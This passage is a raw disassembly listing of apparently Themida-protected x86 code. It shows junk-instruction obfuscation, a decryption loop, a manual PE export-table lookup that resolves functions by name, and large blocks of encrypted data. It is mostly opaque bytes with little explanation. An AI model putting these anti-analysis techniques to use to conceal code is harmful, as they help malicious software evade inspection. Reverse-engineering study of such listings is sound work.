		jmp	short loc_584358
; ---------------------------------------------------------------------------


loc_584393:				; CODE XREF: Themida_:0058435Aj
					; Themida_:0058437Cj ...
		popa
		mov	eax, [ebp+6128D14h]
		iret
; ---------------------------------------------------------------------------
		push	0
		push	ecx


loc_58439E:				; CODE XREF: Themida_:005843BDj
		call	sub_5843A6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5843A6	proc near		; CODE XREF: Themida_:loc_58439Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5843A6	endp

; ---------------------------------------------------------------------------
		and	al, 0E6h
		sub	eax, 0BC4B97E9h
		jg	short loc_58439E
		push	0
		push	ebx
		call	sub_5843CA
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5843CA	proc near		; CODE XREF: Themida_:005843C2p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5843CA	endp

; ---------------------------------------------------------------------------
		dw 7BAEh
		dd 93204B0Bh, 0FECCC03h, 185h
		db 0, 0F9h
; ---------------------------------------------------------------------------


loc_5843EA:				; CODE XREF: Themida_:loc_583BEAj
		mov	eax, eax
		call	near ptr loc_5843F9+1
		inc	esp
		add	[esi+10A70EEAh], ah
		cdq


loc_5843F9:				; CODE XREF: Themida_:005843ECp
		mov	ebp, 0EAD64EBFh
		jnz	short near ptr loc_584458+3
		call	near ptr sub_58440D
		or	[eax+6C3AD078h], ah
		aas
		push	ss

; =============== S U B	R O U T	I N E =======================================



sub_58440D	proc far		; CODE XREF: Themida_:00584400p

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		pop	esi
		add	ebx, 5EA6h
		mov	si, 0F58Ch
		sub	edx, edx


loc_58441A:				; CODE XREF: sub_58440D+9Ej
		push	dword ptr [edx+ebx]
		jbe	loc_58442E
		pusha
		movsx	esi, si
		or	ebx, 385EFB31h
		popa


loc_58442E:				; CODE XREF: sub_58440D+10j
		pop	ecx
		or	si, 0FB95h
		xor	ecx, 0FF63FE3h
		xor	ecx, 40440F0Dh
		push	ecx
		mov	esi, ebx
		pop	eax
		add	ecx, 7F5F8B8h
		push	edx
		mov	esi, 73D66A11h
		pop	edi
		push	ecx
		movsx	esi, di
		pop	dword ptr [ebx+edx]


loc_584458:				; CODE XREF: Themida_:005843FEj
		sub	di, 43B2h
		jmp	loc_584473
; ---------------------------------------------------------------------------
		dw 0C424h
		dd 40C94B32h, 98BA1E9Dh, 1E57B599h
		db 4Ch,	6Fh, 0E5h
; ---------------------------------------------------------------------------


loc_584473:				; CODE XREF: sub_58440D+50j
		sub	edx, 10630383h
		mov	edi, ebx
		add	edx, 1063037Fh
		mov	eax, 2E291DEAh
		cmp	edx, 0FFFFA228h
		jnz	loc_5844AA
		jmp	loc_5844C3
; ---------------------------------------------------------------------------
		db 57h
		dd 40906F91h, 5BB2FEDAh, 8B4AAFE3h, 48819CA9h
		db 0A9h, 83h
; ---------------------------------------------------------------------------


loc_5844AA:				; CODE XREF: sub_58440D+7Fj
		cmc
		jmp	loc_58441A
; ---------------------------------------------------------------------------
		dd 0D7ABEDAEh, 0A765CED2h, 9DD4A71h, 7039F0C8h
		db 1Eh,	17h, 19h
; ---------------------------------------------------------------------------


loc_5844C3:				; CODE XREF: sub_58440D+85j
		jmp	loc_58454B
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		mov	ebx, [esp+10h+arg_8]
		cmp	word ptr [ebx],	5A4Dh
		jnz	loc_584544
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		cmp	word ptr [ebx],	4550h
		jnz	loc_584544
		mov	ebx, [ebx+78h]
		add	ebx, [esp+10h+arg_8]
		mov	esi, [ebx+24h]
		add	esi, [esp+10h+arg_8]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [esp+14h+arg_8]
		add	esi, [esp+14h+arg_8]
		cld
		or	ecx, 0FFFFFFFFh


loc_58450E:				; CODE XREF: sub_58440D+117j
					; sub_58440D+11Fj
		inc	ecx
		mov	ebx, [esp+14h+arg_4]
		mov	edx, [edi]
		add	edx, [esp+14h+arg_8]
		add	edi, 4


loc_58451C:				; CODE XREF: sub_58440D+11Bj
		mov	al, [edx]
		test	al, al
		jz	short loc_58452A
		cmp	al, [ebx]
		jnz	short loc_58450E
		inc	ebx
		inc	edx
		jmp	short loc_58451C
; ---------------------------------------------------------------------------


loc_58452A:				; CODE XREF: sub_58440D+113j
		cmp	al, [ebx]
		jnz	short loc_58450E
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [esp+10h+arg_8]


loc_58453C:				; CODE XREF: sub_58440D+139j
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_584544:				; CODE XREF: sub_58440D+C9j
					; sub_58440D+DAj
		xor	eax, eax
		jmp	loc_58453C
; ---------------------------------------------------------------------------


loc_58454B:				; CODE XREF: sub_58440D:loc_5844C3j
		mov	ecx, edx
		jmp	loc_58469A
; ---------------------------------------------------------------------------
		dw 78h
		dd 7C0000h, 800000h, 840000h, 880000h, 8C0000h,	900000h
		dd 940000h, 0D80000h, 0DC0000h,	0E00000h, 0E40000h, 0E80000h
		dd 0EC0000h, 0F00000h, 0F40000h, 0F80000h, 0FC0000h, 1000000h
		dd 1040000h, 1080000h, 10C0000h, 1100000h, 1140000h, 38h dup(0)
		dd 45B20000h, 50EB0058h
		db 0A3h, 0
; ---------------------------------------------------------------------------


loc_58469A:				; CODE XREF: sub_58440D+140j
		lea	eax, [ebp+6129688h]
		mov	[ebp+60F2911h],	ecx
		mov	[ebp+60F145Dh],	ecx
		mov	[ebp+61297C8h],	eax
		jo	loc_5846BA
		mov	esi, edx


loc_5846BA:				; CODE XREF: sub_58440D+2A5j
		mov	byte ptr [ebp+60F24FDh], 54h
		pusha
		and	ecx, [ebp+60F2495h]
		xor	[ebp+60F1CF1h],	eax
		popa
		movsx	ecx, dx
		push	952D03A5h
		mov	dx, 0C602h
		xor	dword ptr [esp+0], 7B4F6B8Ch
		jle	loc_5846F5
		jmp	loc_5846F5
; ---------------------------------------------------------------------------
		db 51h,	0DAh, 0B5h
; ---------------------------------------------------------------------------
		retf	0FF7h
; ---------------------------------------------------------------------------
		db 3Dh
		db 7Eh
; ---------------------------------------------------------------------------


loc_5846F5:				; CODE XREF: sub_58440D+2D5j
					; sub_58440D+2DBj
		push	dword ptr [ebp+60F2CA1h]
		mov	edi, eax
		lea	eax, [ebp+61272E7h]
		call	eax
		mov	cx, 0B26h
		mov	[ebp+61297CCh],	eax
		mov	[ebp+60F0551h],	eax
		jmp	loc_584763
; ---------------------------------------------------------------------------
		push	edi
		jl	loc_584727
		mov	[ebp+60F2C85h],	esi


loc_584727:				; CODE XREF: sub_58440D+30Ej
		pop	edi
		push	esi
		mov	esi, [ebp+61297C8h]
		mov	[esi], eax
		add	dword ptr [ebp+61297C8h], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+6129688h]
		jmp	short loc_584752
; ---------------------------------------------------------------------------


loc_584743:				; CODE XREF: sub_58440D+348j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+61297CCh]
		pop	esi
		add	esi, 4


loc_584752:				; CODE XREF: sub_58440D+334j
		cmp	dword ptr [esi], 0
		jnz	short loc_584743
		popa
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+60F145Dh],	edi
		mov	si, 364Fh


loc_584763:				; CODE XREF: sub_58440D+308j
		lea	eax, [ebp+6129870h]
		mov	[ebp+60F0081h],	edi
		jmp	loc_584782
; ---------------------------------------------------------------------------
		dd 0C04D93Eh, 90DAEA4Ah, 9EA1EEC5h
; ---------------------------------------------------------------------------
		movsb
		dec	ecx


loc_584782:				; CODE XREF: sub_58440D+362j
		mov	[ebp+60F100Dh],	eax
		jmp	loc_584889
; ---------------------------------------------------------------------------
		db 73h,	68h, 0A8h
		dd 55C972Ah, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h,	68AC2060h
		dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
		dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h,	6020557Dh
		dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h,	0B4E0F796h
		dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h,	20206020h
		dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh,	3407000Eh
		dd 0A0A3D25Dh, 1E59h, 5	dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_584889:				; CODE XREF: sub_58440D+37Bj
		jmp	loc_58556A
; ---------------------------------------------------------------------------
		push	6129BC3h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6129CD1h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6129DD1h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6129E9Eh
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6129F11h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	6129FC9h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612A171h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612A293h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612A365h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612A42Ah
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		push	612A512h
		jmp	loc_552D86
; ---------------------------------------------------------------------------
		dd 3449EC85h, 0C4D94411h, 576CF7A1h, 0E8FD6034h, 758AADC5h
		dd 5E32C254h, 0ACC3E6FBh, 6517489h, 8DE3061Bh, 19C695AAh
		dd 0F1B38F68h, 98B1A866h, 351A3D53h, 755AFD92h,	16D5B207h
		dd 4D0E540h, 5F103D95h,	6B0B589Fh, 0D05AFA2Dh, 0E4A71890h
		dd 0EE6FA465h, 0ED90752Ah, 729FB497h, 2409143Fh, 0B5CBEE6Fh
		dd 6E8CAD92h, 0C766F46Fh, 90E6E582h, 0E77DA0B5h, 0A6BC5F44h
		dd 13589E83h, 46E17774h, 0EFA9DC19h, 6F24D374h,	560B66F4h
		dd 45D3C0D5h, 15460016h, 2FB0B3E2h, 52A13h, 3D53FA00h
		dd 0FC92351Ah, 21784459h, 144784B1h, 0B758D97Ch, 6B0B55D3h
		dd 0C4ADE619h, 0F3A88D90h, 0C4793DBEh, 363DBEDFh, 9ADF66F5h
		dd 0D9E434CDh, 36894600h, 70000000h, 0E47F1649h, 0FDC94AFFh
		dd 110C489Ch, 0A0FEAFDCh, 0D76B0B67h, 0ADC2F522h, 324098Ah
		dd 66F527F8h, 7980DF24h, 4600CF9Fh, 0DCCCh, 45C8F00h, 6873C21h
		dd 1A3D53FDh, 64FE9235h, 0E0102FFDh, 32C57619h,	0FD6D03DBh
		dd 0F9DE1348h, 0E47F194Ch, 6C274AFFh, 0D6570CF1h, 957ADDB3h
		dd 0A4B99CF2h, 3D9E703h, 0B0B9CF6Dh, 0E0957AE5h, 374B7EABh
		dd 0F97A2F14h, 90ABC1E4h, 82752663h, 0AD6D03DDh, 469277F8h
		dd 0A1527F53h, 6B0ADE75h, 0E77A1DC0h, 0A68BAEC4h, 0DBA7BCF1h
		dd 0B4E714BEh, 0E59A7FE2h, 2D863764h, 5A650671h, 2D4578A5h
		dd 0BED2F50Ah, 5AE5909Bh, 381D8E00h, 0A30DBh, 0E8431600h
		dd 7AE5B0D3h, 0D104265h, 9E81D5F8h, 37126689h, 0DD6F0122h
		dd 6A8DA285h, 0FA1D3215h, 8EB1C659h, 79485DF8h,	0B2DC1BCCh
		dd 5C5366F1h, 1C3F5343h, 0EFA7DA07h, 59DA8F74h,	0D8052036h
		dd 1682829Ch, 2CBBE742h, 566BEC62h, 7C16494Dh, 0C647FCE1h
		dd 6339FFAh, 0B674955h,	426F246Bh, 27A35405h, 0D78C66F5h
		dd 997EE1B4h, 5D7E63E4h, 66F5279Eh, 1D02253Ah, 6348DB7Ah
		dd 0E7F6956Ah, 5DA4C308h, 4600CFBBh, 0E8B0h, 15407300h
		dd 0EF70250Ah, 1A3D53E6h, 9A4B8835h, 6D044E5Dh,	4E3FB869h
		dd 43F86D04h, 2649CA7Fh, 6512F752h, 79FA5D32h, 44D12D8h
		dd 0B590E66Dh, 44E77DA0h, 4C86135Fh, 0C8A9EC1Fh, 0FDB297B2h
		dd 5837E3C8h, 6A594173h, 4875F62Bh, 0B0E7F97h, 0EC01B66Bh
		dd 2C597920h, 6A21D7Bh,	729F5465h, 67182B3Fh, 6CE56190h
		dd 0A8BDF2A7h, 120D487Bh, 511A6E91h, 0DFEA1F3Ah, 8E0069A0h
		dd 22207D62h, 24000009h, 0B2D5EA4Dh, 486B80E3h,	0DBFE130Eh
		dd 7093A8BBh, 7283D18h,	0AC8FE375h, 3C1F7497h, 0D0530427h
		dd 67C298BBh, 25D68352h, 66F1B1D2h, 494D665Dh, 5EE7CF0Dh
		dd 3CBD948Fh, 3DEE4119h, 6D0433BAh, 9F82D275h, 9BD005BAh
		dd 6B1C5986h, 6D04338Ch, 0B245F6A3h, 7D6D0433h,	0EF1293C8h
		dd 5E91BE99h, 97AC2D08h, 1A3D538Eh, 6BFC9235h, 58093629h
		dd 6D044D9Fh, 99AEE398h, 84401AAh, 745AEAD3h, 45119203h
		dd 14517E54h, 3749463h,	3263C6Dh, 532D933Fh, 94ABF2C4h
		dd 0B1DE5Fh, 6B0B68EEh,	52CD8629h, 5683B86Dh, 0BF07323h
		dd 7E1FD556h, 8DBD15A7h, 0D805CDCCh, 44107327h,	280DC272h
		dd 0E815BDDCh, 997EE1B5h, 853663E4h, 6C4DBF53h,	3315F531h
		dd 2DA4EFF8h, 633E8ACh,	6D9ABDD3h, 6CFBA131h, 0A8A9983h
		dd 63649002h, 4B60E1BDh, 0ECF75228h, 76C470E5h,	22238065h
		dd 24000008h, 0B2D5EA4Dh, 486B80E3h, 0DBFE130Eh, 7093A8BBh
		dd 7283D18h, 0AC8FE375h, 3C1F7497h, 0D0530427h,	67C298BBh
		dd 25D68352h, 66F1B0D2h, 534D665Dh, 0E9351A3Dh,	0C2F522B0h
		dd 0DF0C8D90h, 0B63142Eh, 0D9EEA36Bh, 41DC79ACh, 2DA5F4C0h
		dd 0A94C4F00h, 762B6507h, 0F7401649h, 0DE19CA5Dh, 596CE699h
		dd 0D58A6FA4h, 164073A0h, 0F071260Bh, 99A2B8DBh, 4E3368C3h
		dd 44B364A1h, 0EB6CE69Ah, 0B0E9B536h, 7444F522h, 0BB6AF921h
		dd 699CD906h, 93B63712h, 0FA2D5AFDh, 0E899C659h, 66F5220Fh
		dd 0DDF27328h, 0C293A4BAh, 0F9452A5Fh, 72783BA0h, 8A300A29h
		dd 0B8EB2855h, 0EEA388A3h, 0C26ACC6Dh, 10C564FBh, 1E09F205h
		dd 328F748Eh, 755h, 0A8BD98F1h,	384DD085h, 0CBE04315h
		dd 5C71ECA8h, 0F1062139h, 0DAAE3ED0h, 30476A7Fh, 0BADD0015h
		dd 196F92A7h, 0AD5A293Eh, 0F1AFFBFCh, 243D3466h, 0B6E3EFAAh
		dd 16D5BB05h, 103DF26Bh, 0B5D522D3h, 0A55A66F1h, 0AEC4F724h
		dd 3D53768Bh, 0B0E9351Ah, 8932B82Bh, 0F92E56AEh, 88271BCCh
		dd 23564F8h, 36EBD053h,	313CF1B5h, 8E03733Ch, 0E254B196h
		dd 64000006h, 0F2152A0Dh, 88ABC0A3h, 1B3E53CEh,	0B0D3E87Bh
		dd 47687DD8h, 0EC4F23B5h, 7CDFB4D7h, 10134467h,	0A782D8FBh
		dd 6516C392h, 66F1AE92h, 498DA69Dh, 1E64116h, 9AFFCB4Ch
		dd 415A0B38h, 0F66B16D6h, 8BE11441h, 3B6E9BB0h,	6A1F0427h
		dd 95B0C6E9h, 9D3564B0h, 6193D70h, 688D7521h, 7E5AD0A0h
		dd 0EA9BC849h, 650425CEh, 4783B065h, 0DC157E0Ch, 0EA3C686Bh
		dd 0F16B5A8h, 0D406DEEh, 0BAADE677h, 3B1EE09h, 5F94496Dh
		dd 7B90C57Ah, 0FA270258h, 0B196B1C7h, 4A967BFCh, 0A556834Fh
		dd 6B0AAB91h, 0EC977B3h, 8310650h, 30EC387h, 88111ADCh
		dd 2A1C795Eh, 1C000006h, 0AACDE245h, 406378EBh,	0D3F60B16h
		dd 688BA083h, 0FF203510h, 0A487DB6Dh, 34176C8Fh, 0C85BFC1Fh
		dd 5FFA90B3h, 1DCE7B4Ah, 66F1AEDAh, 49455E55h, 90FDFD0Dh
		dd 0FA7B26E9h, 12AF81D7h, 0F0AA9B3Dh, 6D10F52Ah, 531F3417h
		dd 225F8C46h, 4088671h,	0D0FCB16Dh, 0D16C33E1h,	0A5D2532Ch
		dd 0FC5F3568h, 0CFB0DA7Bh, 0FBA76B0Ah, 5765E4BCh, 8BB8EDA1h
		dd 0F5223D58h, 0F4D2B344h, 46C77C66h, 0D681B461h, 0D229CA4Bh
		dd 666F4D2h, 40ECD14Ch,	0F6CE5347h, 3A517481h, 5A2F3A1Fh
		dd 88CDAC0Dh, 88F622FBh, 32774600h, 3A000000h, 57D87307h
		dd 7E16494Eh, 89BEA1F5h, 755D3C08h
		db 48h,	97h
word_584F4E	dw 6807h		; DATA XREF: ___:00436EECo
		dd 893E6B0Bh, 92C4F7A4h, 8E6D0E8Fh, 8E66F527h, 35E33A49h
		dd 364600CFh, 122h, 1A3D531Dh, 5BFE9235h, 3285F22Eh, 83B8018Ch
		dd 34701D02h, 407E0DAFh, 0AD88E04Ch, 5DDE13C8h,	400A243Ah
		dd 126BCF7Fh, 5A97C4F9h, 3654EA9h, 3BA8816Dh, 273E1D65h
		dd 0D682AE63h, 0E7C83D82h, 43E6CB4Ch, 0C8F50A2Dh, 0DC5DC095h
		dd 3FDAF3Bh, 8F407D6Dh,	6D040268h, 0D04B4967h, 0A266B0E8h
		dd 0F7B830F6h, 93EABDEh, 0CFB4AFE6h, 0E076991Ah, 0C6033045h
		dd 44AE215h, 17984D6Dh,	0D6BB9EF4h, 0C35EF629h,	0EF70CBA0h
		dd 2F5C7623h, 0B64BC7Eh, 3D58FB6Bh, 0C49A3D22h,	92C77C61h
		dd 97039066h, 8FC43F44h, 0EFEBAE7Ah, 0F4B9B93Eh, 87DB7E66h
		dd 0D3A6FA4h, 669B45Ch,	0C9F6AB65h, 5267C296h, 0F5005B2Fh
		dd 8E00A1C4h, 82046146h, 0C4000004h, 52758AADh,	0E80B2003h
		dd 7B9EB3AEh, 103348DBh, 0A7C8DD78h, 4CEF8315h,	0DC7F1437h
		dd 70F3A4C7h, 722385Bh,	0C57623F2h, 66F1AD32h, 49ED06FDh
		dd 4D9C5B0Ch, 792A6D04h, 6D044E7Eh, 8B4004B9h, 0B2332E68h
		dd 3360FB8Fh, 4ECF6A00h, 0E5401639h, 0EFAAC7D0h, 9905B6E3h
		dd 0D46B0B67h, 0E2193A1Fh, 3A66F527h, 898F96F5h, 0D14600CFh
		dd 8469F49Eh, 2324ECFh,	19000001h, 542C3D53h, 538FBCF1h
		dd 0C3AD86A4h, 5F984978h, 0D86D03D8h, 18C2EE23h, 752CF740h
		dd 0E3866BECh, 1AC7AC8Fh, 0CCB1ACE7h, 0F5F59617h, 0E16D0412h
		dd 789BB08Bh, 0E71A47E2h, 92B5CA93h, 42C3F8ADh,	4A88115Dh
		dd 2DCE6C1Dh, 0B4696B0Bh, 0B7614B87h, 6FC09DF0h, 8C0DD9EEh
		dd 0F0250058h, 31E87C3h, 2D336FA7h, 0EDCE7FACh,	0E1650649h
		dd 0D081E4AEh, 6CE61A27h, 0A5265B10h, 0C2FF2CE1h, 0D95AC58Fh
		dd 5A87A2B6h, 4D075027h, 338EDD2h, 0D3E8691Eh, 3FB869A6h
		dd 0F86CE61Ah, 0CB9FC243h, 0B16A6570h, 0C7AC8E00h, 3606Ah
		dd 0B893E600h, 4AD580A3h, 0DD401235h, 6EF1A5C8h, 7223659h
		dd 0AD3FD1F2h, 3A5D72D5h, 0CAED0225h, 5E819689h, 49182D08h
		dd 0AC0CEB9Ch, 2C2366F1h, 1C3F5313h, 0AB8EE407h, 780E417Eh
		dd 0A243F8DDh, 6D044E55h, 4E37C071h, 4B006D04h,	0CE29DA87h
		dd 696D044Dh, 0E9FE7FB4h, 1A3D53E0h, 59FC9235h,	0BC545544h
		dd 17C8F5DDh, 6B0B69D7h, 391C72A5h, 5A1E9F54h, 554EEFA5h
		dd 1AC32213h, 2C0F657Fh, 1519CAF7h, 50C8D0FEh, 6450A9A4h
		dd 29D04A3Dh, 0DC60448Dh, 0B8CEF126h, 3783689Dh, 92437062h
		dd 0C6E0C646h, 98CBF8ADh, 0FD3A67C2h, 0DD49AB4Ch, 0ED7025CAh
		dd 0DEF37429h, 4AD57EB1h, 0CA8DB065h, 3CBD7257h, 0DDE84319h
		dd 2C3981E8h, 8ED8351Ah, 0B8000002h, 4E7186A1h,	0E4071C07h
		dd 779AAFB2h, 0C2F44DFh, 9BBCD174h, 48E37709h, 0E07B1033h
		dd 74EFA8CBh, 3263C5Fh,	0C1721FEEh, 66F1AB36h, 53F10A01h
		dd 0E9351A3Dh, 0B9F522B0h, 881D4D70h, 5E8B0C3Ch, 0AC6EDADh
		dd 7E93486Bh, 0D3FC1551h, 1FA17F91h, 5409EE49h,	0AF9E1Fh
		dd 0DD781043h, 0DB09905Ch, 406DA285h, 0FC605F8Fh, 2BE19664h
		dd 89F2658Ah, 0CB0792D1h, 36296B9Eh, 7782A551h,	72CBF20Bh
		dd 0DE8FBC3Dh, 0AE7D40BCh, 8FC2CF7Bh, 0E837604Bh, 1782CEB3h
		dd 0FBDD8EBBh, 0C9B094C8h, 8F6BFD96h, 9F929E50h, 71260B40h
		dd 4A772CF0h, 0A6B9DA0Dh, 0C96C0225h, 60FB91B4h, 8D468655h
		dd 46A38832h, 1C9h, 2C41E47Dh, 0BCD14C09h, 4F64FF99h, 0E0F5682Ch
		dd 6D82A5BDh, 562ABA4Ch, 0A4BBDEF3h, 0E496C81h,	85DBFE13h
		dd 11BE8DA2h, 0F1A99760h, 90A9A066h, 0E47F1649h, 182A4063h
		dd 2437D7B0h, 0CAAFE424h, 8AB71B7Eh, 0ACA95D9h,	61BD06Bh
		dd 7BAE9717h, 645051DBh, 0A7A29DDDh, 57D88D72h,	97C40E8Bh
		dd 0FC6208E6h, 0F0A3D664h, 0F5AF2E76h, 99CE6E36h, 0BA7EFFB4h
		dd 0CFA5D805h, 51D2876Ch, 0A55DFA9Bh, 0F629D5F5h, 7642C35Eh
		dd 90ABC123h, 0BDD3F6ABh, 0CB00B59Ah, 50ADED9Eh, 0D388B219h
		dd 3FB869A6h, 0F8AE0711h, 30DDC243h, 0E3C85BFDh, 0B8E1AD2Eh
		dd 74B0ED1Ah, 0B96A16A4h, 0AE06BA3Eh, 7F1844F9h, 0FB9C1D12h
		dd 0AC18D3DDh, 0F5325F14h, 1533B344h, 46C77CB4h, 0B590E619h
		dd 44E77DA0h, 0F160E039h, 207D6236h, 0E1h, 14290C65h, 0A4B9A4F1h
		dd 374CD781h, 0C8DD4014h, 556ACDA5h, 7E12A234h,	0CCA3C6DBh
		dd 66315469h, 0ADC3E6FBh, 0F9A6758Ah, 0F1A8AF48h, 78918866h
		dd 351A3D53h, 1A3D5588h, 6CCCD99h, 74EFA6D9h, 4C89C6F3h
		dd 44E5C9Bh, 9D1ED36Dh,	0B5006FCh, 778C416Bh, 0B7E4EEABh
		dd 7B7B606h, 6B500565h,	8297B2C8h, 90671855h, 0A76CE6C7h
		dd 384E71F2h, 0A6BDF01Dh, 701D0283h, 8203263Dh,	0A0F9D4E1h
		dd 67045941h, 0F2552B5Eh, 1D384E71h, 0D2A8DB08h, 0A6EF9277h
		dd 0E20586BBh, 21C4A98Ch, 0C659FC75h, 356ACDA3h, 75E8AD50h
		dd 0B497ED90h, 274489CFh, 3B481D96h, 5E73D6ACh,	0B443F431h
		dd 1C405D05h, 6A1FE346h, 95B0C6E9h, 0BBD003B0h,	8506BBA0h
		dd 0CA8h, 0ADAFEB00h, 6E8B84BBh, 0D7EFF879h, 1B3E53CEh
		dd 5AFD9336h, 9E81D275h, 0E64116B9h, 2F0A5E01h,	78D3A74Ah
		dd 0B9A4F093h, 0FC6731D4h, 3E217417h, 8956F759h, 4C681E6h
		dd 51000000h, 4B9h, 59CE2900h, 5C243487h, 770D68h, 243C8900h
		dd 257A68h, 242C8900h, 129A3268h, 243C8B06h, 4C481h, 42680000h
		dd 89000039h, 4812424h,	424h, 56685D00h, 8900000Ah, 458F243Ch
		dd 242C8B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 56243C8Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 27E95C24h,	32FFFCD8h
		dd 5F15FF7Bh, 0B1717C0Dh
		db 0F5h, 67h
; ---------------------------------------------------------------------------


loc_58556A:				; CODE XREF: sub_58440D:loc_584889j
		mov	eax, 612A618h
		add	eax, ebp
		jmp	eax
sub_58440D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 85h
		dd 60783B55h, 0B47CDEC8h, 210574EDh, 5A49DCF4h,	0F6155AA6h
		dd 0ED6459F1h, 0C350C5B6h, 0E8228023h, 0Ah, 1053A66Bh
		dd 779A70F5h, 0D98B988Eh, 815B5359h, 5E90C1h, 0B8FB8B00h
		dd 177Fh, 118BF38Bh, 0B409EA81h, 81F83AE2h, 7C8D39EAh
		dd 0BE960h, 6FBE0000h, 2490D367h, 74C13858h, 6FEA81B8h
		dd 6676482Bh, 9BA8F781h, 0FE952h, 0C5190000h, 0D5B3062Dh
		dd 0A3F1BC65h, 87D56564h, 51018FEDh, 0FAB70F53h, 0E9815F5Eh
		dd 7D3B505Ch, 68B0Fh, 8B0F0000h, 0
		dd 5058C181h, 8F0F7D3Bh, 0Ah, 4840Fh, 0BF660000h, 0F489B77h
		dd 0FFFF8985h, 0DFBF0FFFh, 1C8F4FEBh, 8ABFA25h,	0ACDAC6A1h
		dd 0D2D41CA4h, 0E45C5Ch, 0F53134CEh, 0B327CE1Bh, 5B34D129h
		dd 0E62AC7DDh, 0DF1BCE17h, 0A6DB6734h, 47627C00h, 0A3EA1A00h
		dd 0D5h, 0C4199C00h, 440000FEh,	0FBFEh,	0DDB48700h, 0D9202352h
		dd 0E7339C9Eh, 126BE977h, 0B9660000h, 0BD834132h, 60F21ADh
		dd 5D850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0F9C7C355h,	9EB0A17h
		dd 0F319185h, 0D958B06h, 8B060F0Bh, 0F34ED8Dh, 0B806h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0AFB16BC3h, 660004C2h, 8EE7CF81h,	0BD83C08Bh
		dd 60F1891h, 83097500h,	0F26ADBDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 8C9D8D00h, 0FF0611ADh, 83585BD3h, 0F26ADBDh
		dd 11740006h, 0D0B85350h, 8D000004h, 11ACD99Dh,	5BD3FF06h
		dd 0E9A8B658h, 9, 9ED5E272h, 848D94B0h,	0B1C08BA2h, 0AB858DBAh
		dd 890612A7h, 0F305185h, 52509006h, 13F27ABFh, 60310F03h
		dd 9E9h, 7EDF5200h, 0E5D8CE2Fh,	0B0BA78F2h, 6162D1D0h
		dd 0B150585Ah, 89529035h, 0F3401B5h, 858D5A06h,	612A768h
		dd 0F0D78166h, 52505020h, 52505250h, 585A310Fh,	0D08B310Fh
		dd 310F585Ah, 91FF81BFh, 89585A77h, 0D38B2404h,	94595FFh
		dd 448B060Fh, 81660424h, 895D0AE1h, 12A79385h, 91F28006h
		dd 824448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0FDC35040h, 4D46A6A4h, 8589D516h, 612A7A7h, 2B19BD31h
		dd 0BD83060Fh, 60F1A51h, 9A850F00h, 8B000000h, 0FD85C6F9h
		dd 47060F24h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	27C35545h, 0D3E278E2h, 1289C5FDh, 0A59A684Ah, 5250FD75h
		dd 0FCB8B66h, 820F31h, 5A000000h, 24348158h, 29EF0248h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 63C35343h
		dd 89079735h, 0F2E8985h, 0A1B5FF06h, 9060F2Ch, 0F141185h
		dd 0E7858D06h, 1061272h, 0F12F585h, 66D0FF06h, 0E949E781h
		dd 1A518589h, 9509060Fh, 60F0139h, 9DBD83F8h, 60F32h, 0F4850Fh
		dd 8B660000h, 0FD85C6C8h, 47060F24h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0DFC35242h,	944FD093h, 22B96642h
